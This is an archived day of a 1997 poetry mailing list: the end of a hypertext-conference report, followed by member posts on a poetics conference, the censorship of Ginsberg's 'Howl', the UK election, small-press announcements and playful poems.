Nelson, the inventor of hypertext _per se_, is a self-confessed 'generalist'. His background was in 'science fiction, movie-making, theatre and writing.' He expected to go into media but found that he 'couldn't leave the rich... combative abstractions of academia behind.' Perhaps, once more, it is the tenor of his influence which underpins a strand of serious literary and artistic engagement with both 'Hypertext Rhetoric,' and with the ever-increasing practice of literary hypertext, which now extends from scholarly, pedagogic web-building, through hypertext fiction (close on becoming an established, if problematic, genre), to hyper- and cybertextual poetics. As this is the area of my own particular concern, I hope readers will forgive me if I pay it an attention which is disproportionate to its overall place in the conference.

Two papers in this strand of 'hypertext rhetorics' were accepted into the main conference program. In addition there was a panel, moderated by Marc Bernstein (who couldn't attend the conference due to illness) and including myself, on 'The Future of Authorship'. In the first of the papers, David Kolb, 'author' of _Socrates in the Labyrinth: Hypertext, Argument, Philosophy_ (Eastgate, 1994) explored some of the yet unrealized potential of scholarly hypertext, arguing the need for a 'self-represented complexity' far beyond the capabilities of current systems, not for its own sake, but because, he suggested, we require such structures in order to transfer and extend complex, often traditional forms of argument (such as are found in philosophy) into the hypertextual Web-centred docuverse. Loss Pequeño Glazier, webmaster of the the most important resource for poetics on the internet, the Electronic Poetry Center based at the Unversity of Buffalo (http://writing.upenn.edu/epc), gave a paper which structured links, historical and theoretical, between the poetics of a tradition of innovative writing and the specific poetics and rhetorics which are emerging from hypertextual practice. Essential feedback loops were put in place and many questions raised. The Future of Authorship panel included three representatives of the wide-ranging hypertext community in France - Marc Nanard, working on hypermedia design and providing an excellent overview of the issues, Michel Crampes, developing software agents for generative hypermedia and

interactive editing, and Jean Pierre Balpe, a poet and editor working on generative fiction, who missed the panel itself but made the conference later - and one researcher from the MIT media labs - Kevin Brooks, working on the automatic generation of filmed story telling. On the same panel, I spoke of writing as programming, where the process of writing itself (which may include the readers' interactions) may be seen as a 'prior writing,' as inscription prior to performance (in codexspace or cyberspace or anyspace). An emergent theme of the panel was the convergence of 'engineered and creative authorship,' further complicating and problematizing that rightly troubled term with an uncertain and highly programmed future.

The literary strand of the conference had an addendum in London, where Jim Rosenberg, Loss Glazier and Chris Funkhouser read and performed their (cyber)poetic work at one of the regular London venues for innovative poetics. A number of figures from the hypertext community attended alongside the more usual hard-bitten poetics audience. Glazier's reading was lo-tech but laced with the language poetry of Unix, 'grep'ing across tribal, national and disciplinary dialects to 'chmod' files of poems for our use. Funkhouser, a musician, writer and editor in many media including the 'new,' was a living 'open system,' a neo-Beat mourning Ginsberg's passing, chanting and reciting words from the MOO space to extend his own poetry. Rosenberg is an essential cross-over figure who gave a much cited paper (by a wide range of even the most technology-orientated researchers) at the previous Hypertext conference. In London, as a PowerBook was passed from lap to lap in order to demonstrate, hands-on, the interactive structures which he composes and from which he read, the audience was treated to the audio channel of his word clusters, simultaneities and underlying diagrams of syntax. It was a brief and small-scale but important meeting of convergent galaxies - of hypertext researchers and a few of the pioneering practioners of emergent literary forms.

Earlier that day, the conference had been closed by the keynote address of Cathy Marshall, who also attended the reading in London. With a brief to 'look forward,' Marshall eschewed the temptations of a visionary perspective in order to review and analyse current and anticipated research, but also, through an extended 'defensive driving' metaphor (the Smith System) to set out five practices for 'safer hypertext.' Her talk was a model of complex and illuminating interaction with the specific inputs and outputs of the community of researcher/practioners who are actively reading her texts. In fact the spin she put on her chosen metaphor was not overly concerned with 'safety' as a function of defensiveness or restraint. Rather, she suggested a heightened awareness and openness to whatever is 'out there' and whatever is out _here_ in the 'wet world' which may emerge when you 1) steer high, 2) keep your eyes moving, 3) get the big picture, 4) leave yourself an 'out' and 5) make sure the other drivers see

you. If the hypertext community takes her advice, not only will there be an implosive revolution within the Web, but poets and philosphers will be welcomed on the way.

- > John Cayley / Wellsweep Press
http://www.demon.co.uk/eastfield/ 1 Grove End House 150 Highgate Road
London NW5 1PD UK Tel & Fax: ([redacted] Email: [redacted] < - - - - - - -
- -

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3. George Bowering

Re: tiles, miles, ali, and me

Thu 1 May 1997

One time, when I was sitting at a front table by myself at an Ayler Brothers gig, Rashied Ali was drumming so fast he let slip a stick and I caught it on one bounce off the floor, and gave it back to him after the (55 minute) piece. Damn. I shda kept it, eh?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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4. David Israel

topsy-turvy

Thu 1 May 1997

> *From: Pierre Joris*
> *Subject: Subject*
>
> *My humble apologies for making the subject such a bloated object in my AG Howl censorship post -- overhasty cut&paste cleared the difference between head(er) & body*

Sort of an upfront, in-your-face cultural gesture? (Or like the Peruvians who wear the soul's indicia about the circumference of the hat? [Vide Eduardo Galeano, *Memory of Fire,* re: the latter.]) When the subject becomes all, the message becomes superfluous. When all is topic, comment can idle away the time chewin' the fat & shootin' the breeze. When all is formulaic in the "when all" manner, the conclusion is precisely like this.

In certain cultures, the subject is veiled. Then (by way of revolutionary gesture, out of bordom, in quest of novelty, or for love of candor), the tables turn. To turn the tabale, lift from anywhere along surfaces A and B simultaneously, with the proviso that due coordination is requisite. Turntables are CDed eventually, but that's a whole nother alterety [a word for which my spellchecker suggests "altered"]. Arguendo, all is arguendo, from rover to romeo, from breadbox to brickbat. Sea and season: the father, here, is the mother. The ship hath not a sale. By their CDs shall ye know them.

d.i.

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5. David Israel

six

Thu 1 May 1997

Yesterday, Ron Sillman wrote:

> *Alterity, by the way, teaches at UC Berkeley.*

1. advertently, or in- ?

2. tenure-track?

3. if curiousity (as has been alleged) killed the proverbial cat, in what wise, praytell, did alterity terrorize the cliche hypothetical feline?

4. under what conditions, and at what temperature, is alterity tantamount to "too much of a good thing"?

5. might the locution "in other news" spotlight the doings of this Prof.?

6. distinguish these conditions (14 stanzas):

integrity perplexity
alterity perversity
economy complexity
sobriety diversity

propriety society
conversity disbursity
reliety repliety
deniety untersity

amenity profanity
humanity rehearsity
insanity infinity
the quiddity of worsity

placidity lucidity
plasticity recursively
the tallow of necessity
the wallow of confessedly

a bramblesome obesity
a nettlesome diplomacy
an adjectival infancy
a faux-prodigious tersity

an amphoteric anti-cleric
para-steric corset E
F G H I J kayety
l m n o pequety

arrest he you VW-ty
an Ex to Why the zeity
omega of the diety
an alif in eternity

whatever there might beity
with buttersome fortuity
the puddle of all charity
the poodle of screwyouity

the muddle of intuity
the fuddle of reviewity
the subtle of eschewity
the huddle of her bluity

the cuddle of the riddle of
the middle of the truity
the trinity of youity
the unity of zooity

whaddity of iffity
the whyity of thenity
the varsity of vanity
the sparsity of spanity

a cup of tea to sanity!
the thimble of "I do"ity
a tacit incredulity
a probable annuity

a comedy a threnody
a tragedy amenity

a kamikaze kennedy
without a proper planety

the mousie in the housie
had a dousie of alterity
the spousie in the blousie
had a wowsie of some clarity

& other suchlike circumstances,
if you would (25 words or less).

d.i.

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6. David Israel
six questions on alterity
Thu 1 May 1997

(that was "my" "intended" "subject"-line,
but somehow 'twas truncated so this errats it)

d.i.

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7. Maria Damon
conf
Thu 1 May 1997

At 7:17 AM -0400 5/1/97, David Israel wrote:
>Yesterday, Ron Sillman wrote:
>
>>Alterity, by the way, teaches at UC Berkeley.
>

in fact, one cute moment at the Poetry & public sphere conference was when the roundtable moderator introduced first charlie altieri, and then mick taussig, the latter as the author of "mimesis and altieri." speaking of the conference, i was in 7th poetry and cult stud heaven. it started w/ me and cary nelson, introduced by the gracious and beautiful harriet davidson. i talked about some articles in the nyt that offered possibilities (all limited) for poetry & pubsphere, then sounded a yay for populist poetry and cultural studies, which i defined according to renato rosaldo's brief definition in the new book _Mass Culture and Everyday Life_ (ed. peter gibian, routledge). Cary talked abt the spanish civil war and poetry about it. then a roundtable where amiri baraka got into a rousing argument with miguel algarin about political poetry of the 60 vs that of the

90s. baraka was right. i read some previously unpublished bob kaufman poems, keith roach talked abtout the nuyo poets cafe, reg e gaines talked about getting turned on to poetry and social change by an etherdge knight poem, and sonia sanchez talked about her memories being politically involved. then dinner. i had some pals, ed cohen, ira livingston, elaine chang, amitava kumar, and julie chang, whom i hung out w/ at dinner. Then the fabulous NuYorican poets cafe readers, including Reg E, Algarin, Baraka (who got a standing ovation), Carl Hancock Rux (new to me, wowee, what a presence!), Tracie Morris (diplomat of the poetry world and high priestess of African American sound poetry), Aileen Reyes, keith roach. man o man, it was energizing, smart, emotionally stirring, and aesthetic as heck!!

okay, i've done the first day. someone else take over.

↑ Index

8. Maria Damon
Re: AG's Re-censored Howl
Thu 1 May 1997

> *The partial reading generated compliments - "A girl called afterward and said, 'You are too cool. I'm very interested in what you read and would like to get a copy of it,'" Gilly said - and one complaint. "A guy flipping stations was driving around with his 13-year-old daughter, and called the station to say that he was 'offended' by the F-word," he said.*
>
> *And that is what brought an end to the show.*
>
> *"I didn't hear the program," said Hill, "but the only thing I know is that the language used was deemed inappropriate for the station."*

am i the only person wondering what some guy was doing driving around at 2 am with his 13 year old daughter?

↑ Index

9. Jordan Davis
Galaxy Craze & Bruce Morrow @ Poetry City
Thu 1 May 1997

POETRY CITY
Friday May 2
7 pm

GALAXY CRAZE reads with BRUCE MORROW

5 Union Square West, 7th Floor, New York City
(food wine and books)

↑ Index

10. Jordan Davis
Rain Taxi Vol. 2 No. 2
Thu 1 May 1997

Free book review publication out of Minneapolis features in its current issue reviews of Jennifer Moxley, Juliana Spahr, Laura Moriarty, Ben Marcus, John Wieners, C. D. Wright, Clark Coolidge, Janice Edius, Stephen Dixon, Wallace Shawn et al. I found a copy at Posman's on University Place (NYC). Their email is [redacted], their mail is PO Box 3840, MPLS MN 55403, and their rate is $10 for 4 issues.

Jordan

↑ Index

11. Daniel Bouchard
Re: conf
Thu 1 May 1997

>>> then a roundtable where amiri baraka got into a rousing argument with miguel algarin about political poetry of the 60 vs that of the 90s. baraka was right<<<

Maria,

Can you tell us some more about this?

[redacted]

↑ Index

12. Jordan Davis
Re: Rain Taxi Vol. 2 No. 2
Thu 1 May 1997

---

capitalism bait and switch: Rain Taxi is free if you find a stack of it in a store (I hope... I walked away with one ulp!) .. but costs money if you have to write to them for it. So may I recommend that you stop by Posman's, hear our listhost read from the Commutative Function of the Alphabet Poetry Book, and pick up a copy.

So much for posting before 9:30 ...

Jordan

↑ Index

13. Amittai F. Aviram
The PPS Conference
Thu 1 May 1997

Well, I was there (I was the man, I enjoyed, I was there) at the Rutgers conference. It was awesome and monumental. Trying to summarize it seems right now a daunting task--I'm still sort of "processing" it (ugh!). Sorry to delurk just to say this, but, if I have any time this weekend-- a big _if_--I'll try to do some sort of summary for this group. For me, anyway, it was an emotionally intense, elating, and draining experience, with a lot of magnificent poetry, spellbinding performances, provocative papers, energetic discussions, delightful conversations, and large roomfuls of people who are _very seriously interested in poetry_!

I should say, as part of this message of deferral, that I found Charles Bernstein's talk/reading delightfully, brilliantly witty, and Rachel Blau du Plessis, in two short readings I heard, to be quite poignant and utterly captivating.

Well, more soon, I hope.

Amittai

↑ Index

14. Maria Damon
Re: conf
Thu 1 May 1997

---

the reason i restricted myself to the 1st day was that i'm exhausted and overworked rightnow; maybe this summer i can catch up; but can someone else rise to this occasion?--md

At 9:38 AM -0400 5/1/97, Daniel Bouchard wrote:
>>>> then a roundtable where amiri baraka got into a rousing argument with
>miguel algarin about political poetry of the 60 vs that of the 90s. baraka
>was right<<<
>
>Maria,
>
>Can you tell us some more about this?
>
>
>
>[redacted]

↑ Index

15. cris cheek
uk election
Thu 1 May 1997

The Sun, certainly the most influential
tabloid in the uk since Thatcher came
to power (remember her extraordinary
utterance 'deep in the surface of things')
and responsible for such classics as
'GOTCHA!' when the Belgrano was sunk
during the shame of the Falklands fracas,
ended out the 1992 election campaign
with an election day cover that showed
someone wheeling their luggage through
the departure lounge at Heathrow (of
course my memory might be inflated here)
a bubble image of Neil Kinnock (Labour's leader
of the day) and the banner headline
'Will the last person to leave Britain please
turn out the lights'.

Later that night Kinnock, in tears, on the
steps at Walworth Road (Labours Central
Office) announced that Britain Deserves Better.

It is that phrase that the Blair (rabbit)
campaign has turned on.

Today, The Sun features the smiling
face of Tony (Phoneme) Blair and has the top
of his head being blessed (or annointed or knighted)
by the pointing finger (shades of 'Your Country
Needs You' from WW1 propaganda) and starry hand
from the advertising of the National Lottery.
The banner reads (nat lot slogan 'It Could Be You)
'It Must Be You' - then runs on to conflate the
copy beautifully:

'TODAY you have the unique opportunity to join
the greatest jackpot syndicate ever.
The guaranteed prize is a share in our
country's future, a brighter tomorrow.

But this is no gamble. It costs you nothing.
Everyone's a winner. . .'

all offers of employment beyond these islands
will be welcome.

love and love
cris

↑ Index

16. Tom Mandel
the Caucus Conversation
Thu 1 May 1997

Mark P. asks the significance of the tagline on my email signature file (e.g. below).

Mostly "the Caucus Conversation" as present here signifies that my business signature file is appended to my posts to the list -- I can't figure out how to have different signatures on messages to different destinations; that I would even *have to* figure this out indicates the issue of impoverished identity on computers and networks.

Screen Porch is my workplace, and Caucus is our first product. Caucus is a software program that runs on Web servers -- "community-building" software, or groupware, or conferencing. Multiple polysyllabic words to describe the tool mean that there's poor vocabulary for get-together, work-together contexts on computers and networks (more impoverished identity).

A typical application for Caucus would be the Poetics list -- it's used for lots of stuff like that.

About sixty organizations worldwide -- universities, big companies and government agencies, communities like Echo in NY, non-profits, etc. -- use Caucus at present counting. Mark, (or anyone else) if you're interested in knowing more, go to the URL in my signature, follow the "Conferences" link, and register in the Caucus site at screenporch.com.

Tom Mandel

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****
Join the Caucus Conversation

↑ Index

17. Peter Jaeger
new from fi & call for submissions (fwd)
Thu 1 May 1997

---------- Forwarded message ----------
Date: Wed, 30 Apr 1997 17:58:04 -0400
From: Prose & Contexts <[redacted]>
Subject: new from fi

fingerprinting inkoperated announces:

<bold><bigger>new publication

</bigger></bold>

<paraindent><param>left,left</
param><bold><bigger><bigger><bigger><bigger>à no(u)n

</bigger></bigger></bigger></bigger></bold>

by

Stephen Cain

</paraindent>

this is a collection of 30 language poems written in a style that pays tribute to Gertrude Stein's <italic>Tender Buttons.</italic> but this dense work is more than an homage. delving deep into language, this is not exactly light reading. the book is divided into three sets of ten poems under the headings "person," "place," "thing." for those who like to try before you buy, the first poem can be found on line in the <bold>in print</bold> section of the fi website <<http://www.interlog.com/~dal/fi/in/>. this a typical handcrafted fi publication: 44 pages, japanese-bound card covers with a paper dustjacket, published in an edition of 76 numbered & initialled copies, available for only C$6.25.

<bold><bigger>subscribers

</bigger></bold>

as always, subscribers receive a 20% discount off the list price of all publications, & are guaranteed copies of all productions. to subscribe, deposit C$25 (US$20) or more into an fi account; the cost of publications & actual postage is debited from your account when the items are posted every few months. send cheques or money orders (payable to d lopes) to the address below.

<bold><bigger>new schedule & call for submissions

</bigger></bold>

fi is now on a regular publishing schedule, producing a major chapbook or odd object each month. of course to sustain this schedule, fi is inviting submissions of work that pushes hard at boundaries of communication & that explores the complexities of form/at. see the <bold>submit</bold> page at <<http://www.interlog.com/~dal/fi/> for more information.

<bold><bigger>Toronto Small Press Fair

</bigger></bold>

& finally, one last reminder for those in the Toronto area: the Toronto Small Press Fair is this Saturday, 3 May, from 11am-6pm at Club 360 (located at 326 Queen West). fi will be there, so come say hi & check out what's going on in the small press scene...

---

fingerprinting inkoperated damian lopes

Box 657 Station P Toronto Canada M5S 2Y4

<<http://www.interlog.com/~dal/>

for pgp key, email: pgp-key <<[redacted]>

a micropress specializing in innovative writing exploring form/at

↑ Index

18. Tom Mandel

altera-tea

Thu 1 May 1997

Re: "alterity teaches in Berkeley" (I think those were Ron's words),

I remember altera tea; the way it rolled up, tho, you couldn't pick your teeth with it. But, then, you didn't want to.

Tom

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****
Join the Caucus Conversation

↑ Index

19. **armand schwerner**

DRAGON BOND RITE

Thu 1 May 1997

Gwyn McVay asked whether the Tuvan singer in Dragon Bond Rite is the same one who's in Huun-Huur-Tu. Yes. He is also the man who made a recording with San Fran bluesman David Pena and taught him to sing khomei. In response to David Israel's query about Margi Madhu; Madhu is probably one of the two greatest living practitioners of kudiyattam, which is not a form from Orissa, a north Indian state; Madhu lives and practices kudiyattam in its essential site, southern India (Kerala.)

Composer and instrumentalist Jin-Hi Kim, who conceived DBR, plays a 6-string fretted zither, the komungo, which has an ancestry going back about 1,400 years in Korea. Ms. Kim has been trained in traditional Korean musical practice, having earned a degree in Korean traditional music at Seoul National University before coming to the US; she received an MFA in electronic music/composition at Mills College.Her work LINKING, written for the Kronos Quartet, was performed at the Darmstadt Festival, BAM Next Wave Festival, Institute for Contemporary Art in London and the Asian Pacific Festival in New Zealand. Other works have been presented at Merkin Concert Hall in NYC, the Juillard School's Focus Festival '96, Alice Tully Hall at Lincoln Center in NYC and other venues. She has developed the world's only electric komungo.

David Israel asks for some words about what I've written for this new music/theater work, whether the piece has "any spoken words, or what?" Briefly, I've drawn material from my Tablets as well as from other sources, including Virgil. The Tablets is often a kind of entropic narrative whose form may encourage semi-aleatoric borrowings. We have produced approximately 40 slides. Some slides feature graphics derived from Sumerian pictographs; I have made these with font-generating software on the Mac, and have used a number of them in the later Tablets, XXVI and XXVII. The forthcoming issue of Boxkite, (its initial issue,) from New South Wales, edited by James Taylor, will contain my essay GLOSSES which discusses some of these matters.

Some of the words and phrases are spoken, sometimes in English, sometimes in Korean, Japanese, Tuvan, Sanskrit and/or Indonesian. Other sequences are printed on slides, made by using Microsoft PowerPoint. There are other permutations. All the language sequences on the slides are in English.

Jin-Hi Kim and I, along with Rick Emmert--who teaches Noh in Tokyo, and has a crucial role in the work--have been working for three years to arrive at a theater piece which presents the work of great traditional artists in delicate relationship with the contextual urgings of post-modernity, a word I'm not crazy about; this is a description whose simplicism frustrates me but I'll use this

language as a shortcut for this brief response. In DBR, we try assiduously to respect the integrity of the traditionalist forms and practices all the while we are attempting to create a working consanguinity; for most of the artists this is the first time they will have worked closely with members of other Asian traditions; there are occasional language problems, but on the whole we manage extremely well, the performers show great enthusiasm and are eager to learn from each other. We're in the final activity of preparation before the last week of rehearsal at the Walker Art Center in Minneapolis the last week of May. I very much appreciate the interest in DBR.

↑ Index

20. Joseph Lease
Re: conf
Thu 1 May 1997

yes: what was he right about: what were the terms:

On Thu, 1 May 1997, Daniel Bouchard wrote:

> *then a roundtable where amiri baraka got into a rousing argument with miguel algarin about political poetry of the 60 vs that of the 90s. baraka was right<<<*
>
> *Maria,*
>
> *Can you tell us some more about this?*
>
> [redacted]

↑ Index

21. Burt Kimmelman
Re: The PPS Conference
Thu 1 May 1997

ditto maria and amittai.

burt
maybe next week or so i too might find some time to share muy
my perspective on the conference.

↑ Index

22. Mark Prejsnar
Re: the Caucus Conversation
Thu 1 May 1997

Thanx for the trouble-taking and informative reply, Tom; pretty interesting, actually.

Mark P.

↑ Index

23. Joe Safdie
Re: Rational Meaning is now out
Thu 1 May 1997

On Mon, 28 Apr 1997, Charles Bernstein wrote (in part):

"No North American or European poet of this century has created a body of work that reflects more deeply on the inherent conflicts between truth telling and the inevitable artifice of poetry than Laura (Riding) Jackson." --Charles Bernstein, from the introduction

Granted, Charles, and a belated congratulations for posting the existence of this work to the list and for your part in it. I was once heavily preoccupied with Riding (Jackson), both her poems and the only prose document I'd been aware of, _The Telling_, both of which I recommend. They're not exactly light bedtime reading, though!

> At the age of forty, having already produced a substantial and challenging
> body of poetry, stories, and criticism, Laura (Riding) Jackson renounced
> poetry and began to concentrate on the discovery of the principles that
> embed truth and meaning in words. She believed that, if words and
meaning could be irrevocably fused, people would become "morally
articulate" and thus could never lie.

Quite a statement! I was interested in her exemplary renunciation of poetry, taking it as a challenge and implicit criticism of my own work and everyone else's, and wondered if it could be compared to others' rejections -- specifically, Rimbaud's. I concluded that it couldn't! Following the logic of some of her sentences made me dizzy, however.

Are you, or are others, aware of any biography of her? Her early years, when she was supposedly the model for Graves' _White Goddess_ and the author of many critical essays skewering the models of the time (William Empson? Stephen Spender?) would make for good reading, I'd think.

↑ Index

24. Jordan Davis
further individual complications
Thu 1 May 1997

Found this re: mayday UK elections, a Thatcher quote:

''There is no such thing as society; there are individual men and women and there are families.'' Thatcher, October 1987.

This would put Mark's comment (an echo of a Silliman line) in the context of a right wing rugged-individualism that wants to dismantle any kind of social program. To be less polemical about it, I'd modify Mark's statement to read .. "You might think you're an individual, but to the entities considered persons by the law who are deciding what you're worth, you're far less than three-fifths..."

May Blair work out better than Clinton has,
Jordan

↑ Index

25. henry gould
Re: further individual complications
Thu 1 May 1997

On Thu, 1 May 1997 14:10:01 -0400 Jordan Davis said:
> ''There is no such thing as society; there are individual men and
>women and there are families.'' Thatcher, October 1987.
>
>This would put Mark's comment (an echo of a Silliman line) in the context
>of a right wing rugged-individualism that wants to dismantle any kind of
>social program. To be less polemical about it, I'd modify Mark's statement
>to read .. "You might think you're an individual, but to the entities
>considered persons by the law who are deciding what you're worth, you're
>far less than three-fifths..."

Religious people offended by the religious right are not going to give up using various versions of the word "God" for that reason. Nor will people who think they might be individuals surrender the meaning of the word because Thatcherism & Reaganism manipulated it. But there sure are further complexities roun' here & I wonder if the Rutgers conference got into them.

I wonder if someone could make a valid argument that one of the reasons poetry lacks attention & status (until recently) is because in the long development of "literature" the activity of lyric SELF-expression has broken the borders of the lyric poem & infused all genres. That the normative expectation now of a novelist or playwright or etc. is a lifelong devotion to a private, personal, individual mode of expressing personal experience. That this is the crux of the

"quest" of the artist - to integrate & interiorize everything. & in the process poetry just got absorbed - it's all poetry. Even language poetry or public performance art is a supremely individual rendering of impersonal language or group history. Easy to scoff at this in an ideological approach, but for the maker whose words are manna & life itself - life is sometimes on the line.

Reagan used the same lever to dismantle decent government. And we are all put off by the ego of the artist. Reagan & his era could be looked at in the lens of Aristotle, maybe. There's the Actor masquerading as a Man of Action (opposite of Hamlet, who in order to act had to become an actor). There's the res publica becoming an artifice of rhetoric, a disneyland phantasm.

Good ol Mandelstam has a wonderful poem about Crete, last stanza something like:

This was, turned blue, and was sung
long before Odysseus,
long before food and drink
were called "mine."

- Henry Gould

"Classicism is revolution."
-Osip Mandelstam

↑ Index

26. henry
individuwobbles
Thu 1 May 1997

---

addendum to previous post: what is that gist or spark that transcends all analyses of self-expression, etc? Is it the secret of writing/ reading itself? the oscillation between je and autre? 2 poets who broke through the modernist revolution & postmodernist devolution & (re)created the forms of civic poetry: Auden, Brodsky (more for the Russians than Americans). Probably not much read on zis list (a big assumption). But I heard some Auden in J. Moxley's recent book (then I'm often hearing things in the dark...). A dry-eyed almost scientific approach to poetry, sceptical, rhetorical in a political sense (I'm talking about Auden here). 18th century.

- Henry Gould

↑ Index

27. **Brian McHale**
Re: Rational Meaning is now out
Thu 1 May 1997

Joe Safdie inquired after biographies of Laura (Riding) Jackson. There is, in fact, a very big one by (is it?) Deborah Baker, came out a couple of years ago. The bookshelf where my copy reposes isn't near at hand, so I can't supply particulars at this moment; if you need more details, Joe, contact me back-chann- el & I'll ferret them out for you. Brian

↑ Index

28. **charssmith**
Re: conf
Thu 1 May 1997

Maria,

Would you care to elaborate on this?

In a message dated 97-05-01 14:24:02 EDT, you write:

<< then a roundtable where amiri baraka got into a rousing argument with miguel algarin about political poetry of the 60 vs that of the 90s. baraka was right. >>

↑ Index

29. **Jordan Davis**
Auden, Resuscitated in a Thunderstorm
Thu 1 May 1997

Auden and Ashbery,
Scotch and soda,
Kisangani and Kinshasa...

anyone read Mary Sidney's psalms? found the one that's an alphabetical acrostic last night...

X,
J

↑ Index

30. **Henry Gould**
Re: Auden, Resuscitated in a Thunderstorm
Thu 1 May 1997

On Thu, 1 May 1997 15:50:30 -0400 Jordan Davis said:
>
>X,
>J

I always thought I detected some XJ Kennedy in your work, Jordan. My lengthy review will be posted momentarily. You're a closet sonnet-man. - Big Wind

↑ Index

31. **Jordan Davis**
Re: Auden, Resuscitated in a Thunderstorm
Thu 1 May 1997

Henry,
are you thinking of my "Dude Rescinding a Starcase"?
Jordan
mysteriously jocular

↑ Index

32. **henry**
Re: Auden, Resuscitated in a Thunderstorm
Thu 1 May 1997

> *Henry,*
> *are you thinking of my "Dude Rescinding a Starcase"?*
> *Jordan*
> *mysteriously jocular*

wasn't that your parody of the Providence School? I appreciated your manipulation of scoff-rhyme but it cut rather close. I sent it to the Princeton Institute for Advanced Studies - there's a prof. there who thinks it might reflect a realistic elevator-shoe-device to help hold up the Fermat Conundrum. You'll probabilitally be hearing from them any light-day now. - Hgendrik

↑ Index

33. Aldon L. Nielsen
Re: individuwobblies
Thu 1 May 1997

---

but Brodsky somehow seemed to redevolve upon arrival in the U.S. -- his civic never quite encompassed the new surroundings in a way recognizable to me (unless we mean the Honda Civic?)

Isn't Olson instructive in this regard, still?

↑ Index

34. henry
Re: individuwobblies
Thu 1 May 1997

On Thu, 1 May 1997 13:15:48 -0700 Aldon L. Nielsen said:
>
>Isn't Olson instructive in this regard, still?

The Olsonmobile (as opposed to the Honda Civic) was the most tragic, Lear-esque, INDIVIDUAL, SUBJECTIVE, POLIS 10-4, JUNGIAN, JUNGLE drive there ever "wuz". - Road Islander H.

↑ Index

35. George Bowering
Re: six
Thu 1 May 1997

Yeah, Charlie Alterity used to teach at U. of Washington. He is a snappy dresser, which will be an anomaly at Cal.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

36. George Bowering
Re: AG's Re-censored Howl
Thu 1 May 1997

> *am i the only person wondering what some guy was doing driving around at 2 am with his 13 year old daughter?*

Yeah, and which F word did he complain about? My guess is Ferlinghetti, but then there must be others.

George Bowering.

,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

37. Joseph Lease
Re: Auden, Resuscitated in a Thunderstorm
Thu 1 May 1997

well, yes, I've read Mary Sidney's psalms and her brothers and Wyatt's too: you might be interested in Roland Greene's work on the early modern lyric sequence (and also on early modern shaped poems):

On Thu, 1 May 1997, Jordan Davis wrote:

> *Auden and Ashbery,*
> *Scotch and soda,*
> *Kisangani and Kinshasa...*
>
> *anyone read Mary Sidney's psalms? found the one that's an alphabetical acrostic last night...*
>
> *X,*
> *J*

↑ Index

38. henry gould
Re: Auden, Resuscitated in a Thunderstorm
Thu 1 May 1997

ARROWHEAD (IN THE SHAPE OF A STATE)

A
maze of lakes in northern Minnesota,
crisp air adrift on owl's wings
between the wide gray skies
and a long swath of muted pines,
waves lapping, lapping
against the riding prow
of the motorboat, my father
at the tiller, smiling, looking
out toward the shore, quiet,
his beard growing rough now
after a day or two in the woods--

I'm afraid of diving too deep
back into the skin of the past,
my callow bones, the large
boy head full of springing
phantasms, upstart to replace
a sense of imperfection
with voracious all-devouring
enveloping thought--fishline,
this daily bread of blind birdsong.
Before you, Iron Range long gone, I
will always be that unbound, reedy son.

- Big Wind (Ojibway)

↑ Index

39. **Pritchett,Pat**

Re: Talismanic virtues

Thu 1 May 1997

This just in from our foreign poetics desk:

Per Mark Presjnar and other librarians on the list, I tried ordering Talisman for the University of Colorado's periodical collection. Lo and behold, it worked! I'm told by "Skip" Hamilton - subject bibliographer - that no faculty member had heretofore requested it - hence, its absence from the shelves. (O dismal backwater, o arterial hardening!) But he was very glad to acquire it and sd he wld have long before - except he can only do so by request. I will be ordering other mags and books shortly since Skip seems happy to comply with my "research needs." Mark et al - thanks!

Patrick Pritchett

↑ Index

40. Sylvester Pollet
Re: Talismanic virtues
Thu 1 May 1997

Patrick--perhaps he/you might subscribe to the Backwoods Broadsides Chaplet Series. So far, only "B" libraries subscribe: Buffalo, The Beinecke, Brown, and Kent State. (Well, this is the innovative list, right? Whadd'ya, logo-phallo-al-phabocentric?) etc. etc. sp

> *This just in from our foreign poetics desk:*
>
> *Per Mark Presjnar and other librarians on the list, I tried ordering Talisman for the University of Colorado's periodical collection. Lo and behold, it worked! I'm told by "Skip" Hamilton - subject bibliographer - that no faculty member had heretofore requested it - hence, its absence from the shelves. (O dismal backwater, o arterial hardening!) But he was very glad to acquire it and sd he wld have long before - except he can only do so by request. I will be ordering other mags and books shortly since Skip seems happy to comply with my "research needs." Mark et al - thanks!*
>
> *Patrick Pritchett*

↑ Index

41. Wystan Curnow
Re: NYC Reading
Thu 1 May 1997

Dear Charles 'n Bruce(the double Bill)
Wish I could be there (seems like I'm always
saying this) and save me a copy. It years now since my L= book
went walkabout and I've had to get by without it.
Wystan

↑ Index

42. cris cheek
uk election news
Thu 1 May 1997

seismic shift in British party politics
massive Labour majority
subtle gradation of sound bites

↑ Index

43. cris cheek
Re: uk election news
Thu 1 May 1997

Got to say there are incredible results here
- meltdown for the Conservatives
almost all major challenges for Tory leadership
in what promises to be a bitter bloodbath
in the aftermath

but most noticeable a massive influx of women
into Parliament

good tv

↑ Index

44. David Israel
Re: Rational Meaning is now out
Fri 2 May 1997

Thu, 1 May, from Joe Safdie:

<< I was interested in [Laura Riding Jackson's] exemplary renunciation of poetry, taking it as a challenge and implicit criticism of my own work and everyone else's, and wondered if it could be compared to others' rejections -- specifically, Rimbaud's. >>

One thinks, of course (for comparison), of Marcel Duchamps (though he did tinker out that great late work in secret) --

Interesting that she continued to write in prose while renouncing poetry -- i.e., seemingly distrusted (?) poetry, but not (in the same way) prose? (I realize these aren't questions for glib answer -- & no doubt the vol. that Charles announced addresses some of this . . .)

<< Are you, or are others, aware of any biography of her? Her early years, when she was supposedly the model for Graves' _White Goddess_ and the author of many critical essays skewering the models of the time (William Empson? Stephen Spender?) would make for good reading, I'd think. >>

Joe, at first I misread this as "are you aware of my biography of her?" ! -- as well. Yes, I have (somewhere) a copy of a promising-looking bio entitled *In Extremis* (but haven't taken time yet to delve into it . . .)

